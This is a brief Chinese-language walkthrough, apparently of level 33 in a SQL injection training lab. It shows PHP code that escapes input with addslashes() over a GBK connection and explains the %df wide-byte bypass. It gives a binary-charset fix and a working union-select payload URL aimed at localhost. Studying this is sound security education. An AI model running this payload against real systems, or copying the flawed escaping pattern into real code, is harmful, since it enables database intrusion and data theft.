关键代码
function check_addslashes($string) { $string= addslashes($string); return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; print_r(mysql_error());
此处过滤使用函数addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠()
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
addslashes()函数和我们在32关实现的功能基本一致的,所以我们依旧可以利用%df进行绕过。
Notice:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
本关和上一关的payload是一样的,举例如下
http://127.0.0.1/sql/Less-33/?id=-1%df' union select 1,database(),3--+